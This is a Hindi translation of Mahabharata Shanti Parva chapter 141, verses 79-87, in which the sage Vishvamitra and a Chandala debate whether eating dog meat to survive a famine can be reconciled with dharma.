महाभारत शान्ति पर्व अध्याय 141 श्लोक 79-87

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एकचत्‍वारिंशदधिकशततम (141) अध्याय: शान्ति पर्व (आपद्धर्म पर्व)

महाभारत: शान्ति पर्व: एकचत्‍वारिंशदधिकशततम अध्याय: श्लोक 79-87 का हिन्दी अनुवाद

विश्‍वामित्र बोले- यदि उपवास करके प्राण दे दिया जाय तो मरने के बाद क्‍या होगा? यह संशययुक्‍त बात है; परंतु ऐसा करने से पुण्‍यकर्मों का विनाश होगा, इसमें संशय नहीं है, (क्‍यों कि शरीर ही धर्माचरणका मूल हैं) अत: मैं जीवन रक्षा के पश्‍चात् फिर प्रतिदिन व्रत एवं शम, दम आदि में तत्‍पर रहकर पापकर्मों का प्रायश्चित कर लूंगा। इस समय तो धर्म के मूलभूत शरीर की ही रक्षा करना आवश्‍यक है; अत: मैं इस अभक्ष्‍य पदार्थ का भक्षण करूंगा। यह कुत्‍ते का मांस-भक्षण दो प्रकार हो सकता है– एक बुद्धि और विचारपूर्वक तथा दूसरा अज्ञान एवं आसक्तिपूर्वक। बुद्धि एवं विचार द्वारा सोचकर धर्म के मूल तथा ज्ञानप्राप्ति के साधनभूत शरीर की रक्षा में पुण्‍य है, यह बात स्‍वत: स्‍पष्‍ट हो जाती है। इसी तरह मोह एवं आसक्तिपूर्वक उस कार्य में प्रवृत होने से दोष का होना भी स्‍पष्‍ट ही है। यघपि मैं मन में संशय लेकर यह कार्य करने जा रहा हूं तथापि मेरा विश्‍वास है कि मैं इस मांस को खाकर तुम्‍हारे–जैसा चाण्‍डाल नहीं बन जाऊंगा। (तपस्‍या द्वारा इसके दोष का मार्जन कर लूंगा)। चाण्‍डाल ने कहा– यह कुत्‍ते का मांस खाना आप के लिये अत्‍यन्‍न दुख:दायक पाप है। इससे आपको बचना चाहिये। यह मेरा निश्चित विचार है, इसीलिये मैं महान् पापी और ब्राह्मणेतर होने पर भी आपको बारंबार उलाहना दे रहा हूं। अवश्‍य ही यह धर्म का उपदेश करना मेरे लिये धूर्ततापूर्ण चेष्‍टा ही है। विश्‍वामित्र बोले – मेढ़कों के टर्र–टर्र करते रहने पर भी गौएं जलाशयों में जल पीती ही हैं। (वैसे ही तुम्‍हारे मना करने पर भी मैं तो यह अभक्ष्‍य–भक्षण करूंगा ही) तुम्‍हें धर्मोपदेश देने का कोई अधिकार नहीं है; अत: तुम अपनी प्रशंसा करने वाले न बनो । चाण्‍डाल ने कहा–ब्रह्मन् मैं तो आपका हितैषी सुहृद बनकर ही यह धर्माचरण की सलाह दे रहा हूं; क्‍यों कि आप पर मुझे दया आ रही है। यह जो कल्‍याण बात बता रहा हूं, इसे आप ग्रहण करें। लोभवश पाप न करें। विश्‍वामित्र बोले- भैया! यदि तुम मेरे हितैषी सहृद् हो और मुझे सुख देना चाहते हो तो इस वि‍पत्ति से मेरा उद्धार करो। मैं अपने धर्म को जानता हॅू। तुम तो यह कुत्‍ते की जांघ मुझे दे दो। चाण्‍डाल ने कहा- ब्रह्मन् मैं यह अभक्ष्‍य वस्‍तु आपको नहीं दे सकता और मेरे इस अन्‍न का आपके द्वारा अपहरण हो, इसकी उपेक्षा भी नहीं कर सकता। इसे देने वाला मैं और लेने वाले आप ब्राह्मण दोनों ही पापलिप्‍त होकर नरक में पडेंगे। विश्‍वामित्र बोले- आज यह पापकर्म करके भी यदि मैं जीवित रहा तो परम पवित्र धर्म का अनुष्‍ठान करूंगा। इससे मेरे तन, मन पवित्र हो जायगे और मैं धर्म का ही फल प्राप्‍त करूंगा। जीवित रहकर धर्माचरण करना और उपवास करके प्राण देना– इन दोनों में कौन बड़ा है, यह मुझे बताओ। चाण्‍डाल ने कहा- किस कुल के लिये कौन-सा कार्य धर्म है, इस विषय में यह आत्‍मा ही साक्षी है। इस अभक्ष्‍य–भक्षण में जो पाप है, उसे आप भी जानते हैं। मेरी समझ में जो कुत्‍ते के मांस को भक्षणीय बताकर उसका आदर करें, उसके लिये इस संसार में कुछ भी त्‍याज्‍य नहीं है।


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टीका टिप्पणी और संदर्भ

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